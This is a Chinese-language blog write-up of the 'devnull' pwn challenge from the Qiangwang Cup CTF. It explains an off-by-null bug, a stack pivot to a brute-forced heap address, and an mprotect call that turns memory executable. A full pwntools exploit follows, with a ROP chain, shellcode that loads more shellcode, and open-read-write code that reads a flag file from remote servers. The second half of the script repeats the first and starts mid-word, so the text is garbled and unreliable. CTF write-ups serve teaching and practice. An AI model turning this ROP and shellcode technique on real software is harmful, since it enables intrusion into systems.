    lotu202(202);
    lotu203(203);
    lotu204(204);
    lotu205(205);
    lotu206(206);
    lotu207(207);
    lotu208(208);
    lotu209(209);
    lotu210(210);
    lotu211(211);
    lotu212(212);
    lotu213(213);
    lotu214(214);
    lotu215(215);
    lotu216(216);
    lotu217(217);
    lotu218(218);
    lotu219(219);
    lotu220(220);
    lotu221(221);
    lotu222(222);
    lotu223(223);
    lotu224(224);
    lotu225(225);
    lotu226(226);
    lotu227(227);
    lotu228(228);
    lotu229(229);
    lotu230(230);
    lotu231(231);
    lotu232(232);
    lotu233(233);
    lotu234(234);
    lotu235(235);
    lotu236(236);
    lotu237(237);
    lotu238(238);
    lotu239(239);
    lotu240(0);
    lotu241(241);
    lotu242(242);
    lotu243(243);
    lotu244(244);
    lotu245(245);
    lotu246(246);
    lotu247(247);
    lotu248(248);
    lotu249(249);
    lotu250(250);
    lotu251(251);
    lotu252(252);
    lotu253(253);
    lotu254(254);
    lotu255(255);
    lotu85(0xcd);  
    lotu78(0xad);
    lotu79(0xfd);
    lotu8(0x6e);
    lotu80(0);
    lotu81(0);
    lotu82(0);
    lotu83(0);
    lotu84(0);
    fight(0);
}


强网先锋

challenge devnull

3ce54a78-e9a2-4dd5-a12c-0b8f2a2239ea

fgets长度刚好合适,但是fgets会自动添加一个\x00。所以有off by null可以修改fd。

所以接下来为read(0,v3,0x2c)。

可以覆盖栈上的buf指针以及rbp,rip。

第一时间考虑栈迁移,不过这道题动用mprotect改了所写页的权限为1,因此不可读。

看看周围唯一可读的就是堆地址。那就爆破。

知道往哪栈迁移之后,我们需要明确栈迁移之后能做什么。首先close(1)+mprotect设置页表权限让我们重回代码段不可行。所以栈迁移得一次到位。并且close(1)后并不好泄露libc基址。

同时程序没开启pie保护因此可以利用程序中自带的函数,第一时间想到用mprotect改权限然后shellcode。同时发现栈迁移完rdx为7,直接上mprotect!

因为gadget比较少,用程序自带的原生shellcode。

4a413475-ec56-40b8-acf4-b2347cd7ef9f

从这里开始可以控制rsi,但是rdi和rax关联。

去找gadget:有一条很好用:

337420a7-7ae3-4f06-8107-3d4f62a6cfe6

用这条控制rdx即可。

然后就是shellcode调用新的read,然后orw,write fd用stderr的2即可(这里read的rsi需要离远一点,不然会崩溃)本来打算直接getshell之后用exec 1&>0来重定向的,不过不知道为什么这样不可行。

exp:

from pickle import TRUE
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'
context.arch='amd64'
# r = process('/mnt/hgfs/ubuntu/qwb/1/devnull')
# r = remote('123.56.86.227',20712)
elf = ELF('/mnt/hgfs/ubuntu/qwb/1/devnull')

def pwn():
    r.recvuntil(b"please input your filename\n")
    r.send(b'a'*0x20)
    r.recvuntil(b"Please write the data you want to discard\n")
    # gdb.attach(r,'b mprotect')
    leave_ret = 0x0000000000401354

    gadget =  0x0000000000401351
    #0x0000000000401351 : mov eax, dword ptr [rbp - 0x18] ; leave ; ret
    mprotect_addr = 0x4012D0
    heap_addr = 0xa06000
    r.send(b'a'*(0x1c-8)+p64(heap_addr)+p64(heap_addr)+p64(leave_ret))

    r.recvuntil(b"please input your new data\n")
    rop_chain=[
    heap_addr+0x28,
    gadget,
    heap_addr,
    heap_addr,
    b'/bin/sh\x00',
    heap_addr,
    mprotect_addr,
    heap_addr,
    heap_addr+0x48
    ]

    # shellcode = '''
    #     mov rdi,0x3fd020
    #     xor esi, esi               # rsi低32位
    #     xor edx, edx               # rdx低32位
    #     push 0x3b
    #     pop rax
    #     syscall
    # '''
    shellcode='''
        mov rsi,rbp
        add rsi,0x500
        xor rdi,rdi
        mov rdx,0x100

        syscall
        jmp rsi
    '''

    orw  = shellcraft.open('./flag')
    orw+= shellcraft.read('rax','rsp',0x100)
    orw+= shellcraft.write('2','rsp',0x100)
    print(hex(len(asm(shellcode))))
    # shellcode = asm(shellcode)
    # shellcode = asm(shellcraft.sh()).ljust(0x18,b'\0')
    payload = flat(rop_chain)+asm(shellcode)
    payload = payload.ljust(0x60,b'\0')
    r.send(payload)
    # pause()
    # print(hex(len(asm(orw))))
    r.send(asm(orw))
    r.recvuntil(b'{')

    r.interactive()

while TRUE:
    # r = process('/mnt/hgfs/ubuntu/qwb/1/devnull')
    r = remote('47.94.166.51',22861)
    try:
        pwn()
    except EOFError:
        r.close()
        continue
dget =  0x0000000000401351
    #0x0000000000401351 : mov eax, dword ptr [rbp - 0x18] ; leave ; ret
    mprotect_addr = 0x4012D0
    heap_addr = 0xa06000
    r.send(b'a'*(0x1c-8)+p64(heap_addr)+p64(heap_addr)+p64(leave_ret))

    r.recvuntil(b"please input your new data\n")
    rop_chain=[
    heap_addr+0x28,
    gadget,
    heap_addr,
    heap_addr,
    b'/bin/sh\x00',
    heap_addr,
    mprotect_addr,
    heap_addr,
    heap_addr+0x48
    ]

    # shellcode = '''
    #     mov rdi,0x3fd020
    #     xor esi, esi               # rsi低32位
    #     xor edx, edx               # rdx低32位
    #     push 0x3b
    #     pop rax
    #     syscall
    # '''
    shellcode='''
        mov rsi,rbp
        add rsi,0x500
        xor rdi,rdi
        mov rdx,0x100

        syscall
        jmp rsi
    '''

    orw  = shellcraft.open('./flag')
    orw+= shellcraft.read('rax','rsp',0x100)
    orw+= shellcraft.write('2','rsp',0x100)
    print(hex(len(asm(shellcode))))
    # shellcode = asm(shellcode)
    # shellcode = asm(shellcraft.sh()).ljust(0x18,b'\0')
    payload = flat(rop_chain)+asm(shellcode)
    payload = payload.ljust(0x60,b'\0')
    r.send(payload)
    # pause()
    # print(hex(len(asm(orw))))
    r.send(asm(orw))
    r.recvuntil(b'{')

    r.interactive()

while TRUE:
    # r = process('/mnt/hgfs/ubuntu/qwb/1/devnull')
    r = remote('47.94.166.51',22861)
    try:
        pwn()
    except EOFError:
        r.close()
        continue

版权声明:本文为Invin_cible原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。